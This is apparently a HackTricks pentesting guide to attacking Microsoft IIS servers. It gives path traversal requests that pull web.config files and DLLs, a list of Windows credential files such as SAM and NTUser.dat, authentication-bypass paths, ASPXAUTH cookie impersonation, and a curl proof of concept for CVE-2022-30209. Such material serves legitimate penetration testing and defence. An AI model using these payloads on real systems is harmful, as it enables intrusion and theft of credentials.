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419 lines
21 KiB
Markdown
419 lines
21 KiB
Markdown
# IIS - Internet Information Services
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<details>
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<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
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* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
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* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
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* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
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</details>
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Test executable file extensions:
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* asp
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* aspx
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* config
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* php
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## Internal IP Address disclosure
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On any IIS server where you get a 302 you can try stripping the Host header and using HTTP/1.0 and inside the response the Location header could point you to the internal IP address:
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```
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nc -v domain.com 80
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openssl s_client -connect domain.com:443
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```
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Response disclosing the internal IP:
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```
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GET / HTTP/1.0
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HTTP/1.1 302 Moved Temporarily
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Cache-Control: no-cache
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Pragma: no-cache
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Location: https://192.168.5.237/owa/
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Server: Microsoft-IIS/10.0
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X-FEServer: NHEXCHANGE2016
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```
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## Execute .config files
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You can upload .config files and use them to execute code. One way to do it is appending the code at the end of the file inside an HTML comment: [Download example here](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Configuration%20IIS%20web.config/web.config)
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More information and techniques to exploit this vulnerability [here](https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/)
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## IIS Discovery Bruteforce
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Download the list that I have created:
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{% file src="../../.gitbook/assets/iisfinal.txt" %}
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It was created merging the contents of the following lists:
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[https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt)\
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[http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html](http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html)\
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[https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt](https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt)\
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[https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt)\
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[https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt)\
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[https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt](https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt)
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Use it without adding any extension, the files that need it have it already.
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## Path Traversal
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### Leaking source code
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{% hint style="info" %}
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As summary, there are several web.config files inside the folders of the application with references to "**assemblyIdentity**" files and "**namespaces**". With this information it's possible to know **where are executables located** and download them.\
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From the **downloaded Dlls** it's also possible to find **new namespaces** where you should try to access and get the web.config file in order to find new namespaces and assemblyIdentity.\
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Also, the files **connectionstrings.config** and **global.asax** may contain interesting information.\
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Reference: [https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html](https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html)
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{% endhint %}
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As any .Net application, MVC applications have a **web.config** file, where "**assemblyIdentity**" XML tags identifies every binary file the application uses.
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```markup
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GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
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Host: example-mvc-application.minded
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[...]
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HTTP/1.1 200 OK
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[...]
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<?xml version="1.0" encoding="utf-8"?>
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<configuration>
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<configSections>
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<section name="entityFramework" type="System.Data.Entity.Internal.ConfigFile.EntityFrameworkSection, EntityFramework, Version=6.0.0.0, Culture=neutral" requirePermission="false" />
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</configSections>
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<appSettings>
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<add key="webpages:Version" value="3.0.0.0" />
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<add key="webpages:Enabled" value="false" />
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<add key="ClientValidationEnabled" value="true" />
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<add key="UnobtrusiveJavaScriptEnabled" value="true" />
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</appSettings>
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<system.web>
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<authentication mode="None" />
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<compilation debug="true" targetFramework="4.6.1" />
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<httpRuntime targetFramework="4.6.1" />
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</system.web>
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<system.webServer>
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<modules>
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<remove name="FormsAuthentication" />
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</modules>
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</system.webServer>
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<runtime>
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<assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1">
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<dependentAssembly>
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<assemblyIdentity name="Microsoft.Owin.Security" />
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<bindingRedirect oldVersion="1.0.0.0-3.0.1.0" newVersion="3.0.1.0" />
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</dependentAssembly>
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<dependentAssembly>
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<assemblyIdentity name="Microsoft.Owin.Security.OAuth" />
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<bindingRedirect oldVersion="1.0.0.0-3.0.1.0" newVersion="3.0.1.0" />
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</dependentAssembly>
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<dependentAssembly>
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<assemblyIdentity name="Microsoft.Owin.Security.Cookies" />
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<bindingRedirect oldVersion="1.0.0.0-3.0.1.0" newVersion="3.0.1.0" />
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</dependentAssembly>
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<dependentAssembly>
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<assemblyIdentity name="Microsoft.Owin" />
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<bindingRedirect oldVersion="1.0.0.0-3.0.1.0" newVersion="3.0.1.0" />
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</dependentAssembly>
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<dependentAssembly>
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<assemblyIdentity name="Newtonsoft.Json" culture="neutral" />
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<bindingRedirect oldVersion="0.0.0.0-6.0.0.0" newVersion="6.0.0.0" />
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</dependentAssembly>
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<dependentAssembly>
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<assemblyIdentity name="System.Web.Optimization" />
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<bindingRedirect oldVersion="1.0.0.0-1.1.0.0" newVersion="1.1.0.0" />
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</dependentAssembly>
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<dependentAssembly>
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<assemblyIdentity name="WebGrease" />
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<bindingRedirect oldVersion="0.0.0.0-1.5.2.14234" newVersion="1.5.2.14234" />
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</dependentAssembly>
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<dependentAssembly>
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<assemblyIdentity name="System.Web.Helpers" />
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<bindingRedirect oldVersion="1.0.0.0-3.0.0.0" newVersion="3.0.0.0" />
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</dependentAssembly>
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<dependentAssembly>
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<assemblyIdentity name="System.Web.Mvc" />
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<bindingRedirect oldVersion="1.0.0.0-5.2.3.0" newVersion="5.2.3.0" />
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</dependentAssembly>
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<dependentAssembly>
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<assemblyIdentity name="System.Web.WebPages" />
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<bindingRedirect oldVersion="1.0.0.0-3.0.0.0" newVersion="3.0.0.0" />
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</dependentAssembly>
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</assemblyBinding>
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```
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In the previous output you can references to several "**assemblyIdentity**". These are files that may be located inside the /bin folder. For example: **/bin/WebGrease.dll.**
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Other files that could be found in the root directory of a .Net application are **/global.asax**
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```markup
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<%@ Application Codebehind="Global.asax.cs" Inherits="WebApplication1.MvcApplication" Language="C#" %>
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```
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And **/connectionstrings.config**
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**Note: this file contains passwords!**
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```markup
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<connectionStrings>
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<add name="DefaultConnection" connectionString="Data Source=(LocalDb)\MSSQLLocalDB;AttachDbFilename [...]" providerName="System.Data.SqlClient" />
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</connectionStrings>
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```
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**Namespaces**
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In addition, .Net MVC applications are structured to define **other web.config files**, having the aim to include any declaration for specific namespaces for each set of viewpages, relieving developers to declare “@using” namespaces in every file.
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```markup
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GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
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Host: example-mvc-application.minded
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[...]
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HTTP/1.1 200 OK
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[...]
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<?xml version="1.0"?>
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<configuration>
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<configSections>
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<sectionGroup name="system.web.webPages.razor" type="System.Web.WebPages.Razor.Configuration.RazorWebSectionGroup, System.Web.WebPages.Razor, Version=3.0.0.0, Culture=neutral">
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<section name="host" type="System.Web.WebPages.Razor.Configuration.HostSection, System.Web.WebPages.Razor, Version=3.0.0.0, Culture=neutral" requirePermission="false" />
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<section name="pages" type="System.Web.WebPages.Razor.Configuration.RazorPagesSection, System.Web.WebPages.Razor, Version=3.0.0.0, Culture=neutral" requirePermission="false" />
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</sectionGroup>
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</configSections>
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<system.web.webPages.razor><host factoryType="System.Web.Mvc.MvcWebRazorHostFactory, System.Web.Mvc, Version=5.2.3.0, Culture=neutral" /><pages pageBaseType="System.Web.Mvc.WebViewPage">
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<namespaces>
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<add namespace="System.Web.Mvc" />
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<add namespace="System.Web.Mvc.Ajax" />
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<add namespace="System.Web.Mvc.Html" />
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<add namespace="System.Web.Optimization"/>
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<add namespace="System.Web.Routing" />
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<add namespace="WebApplication1" />
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```
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**Downloading DLLs**
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From a very previous response, the declaration of a **custom namespace** (since other namespaces are defaults) suggests that a DLL called "**WebApplication1**" is present in the /bin directory.
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```
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GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
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Host: example-mvc-application.minded
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[...]
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```
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From the previous output, inside the /bin directory you will also be able to find the Dlls
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* System.Web.Mvc.dll
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* System.Web.Mvc.Ajax.dll
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* System.Web.Mvc.Html.dll
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* System.Web.Optimization.dll
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* System.Web.Routing.dll
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Let's suppose that the previous DLL is importing a namespace called **WebApplication1.Areas.Minded.** an attacker can infer that other web.config files are present in the application, in guessable/default paths as **/area-name/Views/**, containing specific configurations that may refer to other DLL files present in the /bin folder.
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```markup
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GET /download_page?id=..%2f..%2fMinded/Views/web.config HTTP/1.1
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Host: example-mvc-application.minded
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[...]
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HTTP/1.1 200 OK
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[...]
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<?xml version="1.0"?>
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<configuration>
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<configSections>
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<sectionGroup name="system.web.webPages.razor" type="System.Web.WebPages.Razor.Configuration.RazorWebSectionGroup, System.Web.WebPages.Razor, Version=3.0.0.0, Culture=neutral">
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<section name="host" type="System.Web.WebPages.Razor.Configuration.HostSection, System.Web.WebPages.Razor, Version=3.0.0.0, Culture=neutral" requirePermission="false" />
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<section name="pages" type="System.Web.WebPages.Razor.Configuration.RazorPagesSection, System.Web.WebPages.Razor, Version=3.0.0.0, Culture=neutral” requirePermission="false" />
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</sectionGroup>
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</configSections>
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<system.web.webPages.razor><host factoryType="System.Web.Mvc.MvcWebRazorHostFactory, System.Web.Mvc, Version=5.2.3.0, Culture=neutral" />
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<pages pageBaseType="System.Web.Mvc.WebViewPage">
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<namespaces>
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<add namespace="System.Web.Mvc" />
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<add namespace="System.Web.Mvc.Ajax" />
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<add namespace="System.Web.Mvc.Html" />
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<add namespace="System.Web.Routing" />
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<add namespace="System.Web.Optimization" />
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<add namespace="WebApplication1" />
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<add namespace="WebApplication1.AdditionalFeatures" />
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</namespaces>
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```
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Note how in the previous output you can see a new namespace called: **WebApplication1.AdditionalFeatures** which indicates that there is another Dll in the /bin folder called **WebApplication1.AdditionalFeatures.dll**
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### Common files
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From [here](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/)
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```
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C:\Apache\conf\httpd.conf
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C:\Apache\logs\access.log
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C:\Apache\logs\error.log
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C:\Apache2\conf\httpd.conf
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C:\Apache2\logs\access.log
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C:\Apache2\logs\error.log
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C:\Apache22\conf\httpd.conf
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C:\Apache22\logs\access.log
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C:\Apache22\logs\error.log
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C:\Apache24\conf\httpd.conf
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C:\Apache24\logs\access.log
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C:\Apache24\logs\error.log
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C:\Documents and Settings\Administrator\NTUser.dat
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C:\php\php.ini
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C:\php4\php.ini
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C:\php5\php.ini
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C:\php7\php.ini
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C:\Program Files (x86)\Apache Group\Apache\conf\httpd.conf
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C:\Program Files (x86)\Apache Group\Apache\logs\access.log
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C:\Program Files (x86)\Apache Group\Apache\logs\error.log
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C:\Program Files (x86)\Apache Group\Apache2\conf\httpd.conf
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C:\Program Files (x86)\Apache Group\Apache2\logs\access.log
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C:\Program Files (x86)\Apache Group\Apache2\logs\error.log
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c:\Program Files (x86)\php\php.ini"
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C:\Program Files\Apache Group\Apache\conf\httpd.conf
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C:\Program Files\Apache Group\Apache\conf\logs\access.log
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C:\Program Files\Apache Group\Apache\conf\logs\error.log
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C:\Program Files\Apache Group\Apache2\conf\httpd.conf
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C:\Program Files\Apache Group\Apache2\conf\logs\access.log
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C:\Program Files\Apache Group\Apache2\conf\logs\error.log
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C:\Program Files\FileZilla Server\FileZilla Server.xml
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C:\Program Files\MySQL\my.cnf
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C:\Program Files\MySQL\my.ini
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C:\Program Files\MySQL\MySQL Server 5.0\my.cnf
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C:\Program Files\MySQL\MySQL Server 5.0\my.ini
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C:\Program Files\MySQL\MySQL Server 5.1\my.cnf
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C:\Program Files\MySQL\MySQL Server 5.1\my.ini
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C:\Program Files\MySQL\MySQL Server 5.5\my.cnf
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C:\Program Files\MySQL\MySQL Server 5.5\my.ini
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C:\Program Files\MySQL\MySQL Server 5.6\my.cnf
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C:\Program Files\MySQL\MySQL Server 5.6\my.ini
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C:\Program Files\MySQL\MySQL Server 5.7\my.cnf
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C:\Program Files\MySQL\MySQL Server 5.7\my.ini
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C:\Program Files\php\php.ini
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C:\Users\Administrator\NTUser.dat
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C:\Windows\debug\NetSetup.LOG
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C:\Windows\Panther\Unattend\Unattended.xml
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C:\Windows\Panther\Unattended.xml
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C:\Windows\php.ini
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C:\Windows\repair\SAM
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C:\Windows\repair\system
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C:\Windows\System32\config\AppEvent.evt
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C:\Windows\System32\config\RegBack\SAM
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C:\Windows\System32\config\RegBack\system
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C:\Windows\System32\config\SAM
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C:\Windows\System32\config\SecEvent.evt
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C:\Windows\System32\config\SysEvent.evt
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C:\Windows\System32\config\SYSTEM
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C:\Windows\System32\drivers\etc\hosts
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C:\Windows\System32\winevt\Logs\Application.evtx
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C:\Windows\System32\winevt\Logs\Security.evtx
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C:\Windows\System32\winevt\Logs\System.evtx
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C:\Windows\win.ini
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C:\xampp\apache\conf\extra\httpd-xampp.conf
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C:\xampp\apache\conf\httpd.conf
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C:\xampp\apache\logs\access.log
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C:\xampp\apache\logs\error.log
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C:\xampp\FileZillaFTP\FileZilla Server.xml
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C:\xampp\MercuryMail\MERCURY.INI
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C:\xampp\mysql\bin\my.ini
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C:\xampp\php\php.ini
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C:\xampp\security\webdav.htpasswd
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C:\xampp\sendmail\sendmail.ini
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C:\xampp\tomcat\conf\server.xml
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```
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## HTTPAPI 2.0 404 Error
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If you see an error like the following one:
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 (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10).png>)
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It means that the server **didn't receive the correct domain name** inside the Host header.\
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In order to access the web page you could take a look to the served **SSL Certificate** and maybe you can find the domain/subdomain name in there. If it isn't there you may need to **brute force VHosts** until you find the correct one.
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## Old IIS vulnerabilities worth looking for
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### Microsoft IIS tilde character “\~” Vulnerability/Feature – Short File/Folder Name Disclosure
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You can try to **enumerate folders and files** inside every discovered folder (even if it's requiring Basic Authentication) using this **technique**.\
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The main limitation of this technique if the server is vulnerable is that **it can only find up to the first 6 letters of the name of each file/folder and the first 3 letters of the extension** of the files.
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You can use [https://github.com/irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner) to test for this vulnerability:`java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/`
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.png>)
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Original research: [https://soroush.secproject.com/downloadable/microsoft\_iis\_tilde\_character\_vulnerability\_feature.pdf](https://soroush.secproject.com/downloadable/microsoft\_iis\_tilde\_character\_vulnerability\_feature.pdf)
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You can also use **metasploit**: `use scanner/http/iis_shortname_scanner`
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### Basic Authentication bypass
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**Bypass** a Baisc authentication (**IIS 7.5**) trying to access: `/admin:$i30:$INDEX_ALLOCATION/admin.php` or `/admin::$INDEX_ALLOCATION/admin.php`
|
||
|
||
You can try to **mix** this **vulnerability** and the last one to find new **folders** and **bypass** the authentication.
|
||
|
||
## ASP.NET Trace.AXD enabled debugging
|
||
|
||
ASP.NET include a debugging mode and its file is called `trace.axd`.
|
||
|
||
It keeps a very detailed log of all requests made to an application over a period of time.
|
||
|
||
This information includes remote client IP's, session IDs, all request and response cookies, physical paths, source code information, and potentially even usernames and passwords.
|
||
|
||
[https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/](https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/)
|
||
|
||
|
||
|
||
## ASPXAUTH Cookie
|
||
|
||
ASPXAUTH uses the following info:
|
||
|
||
* **`validationKey`** (string): hex-encoded key to use for signature validation.
|
||
* **`decryptionMethod`** (string): (default “AES”).
|
||
* **`decryptionIV`** (string): hex-encoded initialization vector (defaults to a vector of zeros).
|
||
* **`decryptionKey`** (string): hex-encoded key to use for decryption.
|
||
|
||
However, some people will use the **default values** of these parameters and will use as **cookie the email of the user**. Therefore, if you can find a web using the **same platform** that is using the ASPXAUTH cookie and you **create a user with the email of the user you want to impersonate** on the server under attack, you may be able to us**e the cookie from the second server in the first one** and impersonate the user.\
|
||
This attacked worked in this [**writeup**](https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19).
|
||
|
||
## IIS Authentication Bypass with cached passwords (CVE-2022-30209) <a href="#3-iis-authentication-bypass" id="3-iis-authentication-bypass"></a>
|
||
|
||
A bug in the code **didn't properly check for the password given by the user**, so an attacker whose **password hash hits a key** that is already in the **cache** will be able to login as that user ([full report here](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html)).
|
||
|
||
```python
|
||
# script for sanity check
|
||
> type test.py
|
||
def HashString(password):
|
||
j = 0
|
||
for c in map(ord, password):
|
||
j = c + (101*j)&0xffffffff
|
||
return j
|
||
|
||
assert HashString('test-for-CVE-2022-30209-auth-bypass') == HashString('ZeeiJT')
|
||
|
||
# before the successful login
|
||
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
|
||
HTTP/1.1 401 Unauthorized
|
||
|
||
# after the successful login
|
||
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
|
||
HTTP/1.1 200 OK
|
||
```
|
||
|
||
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
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||
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||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
|
||
|
||
</details>
|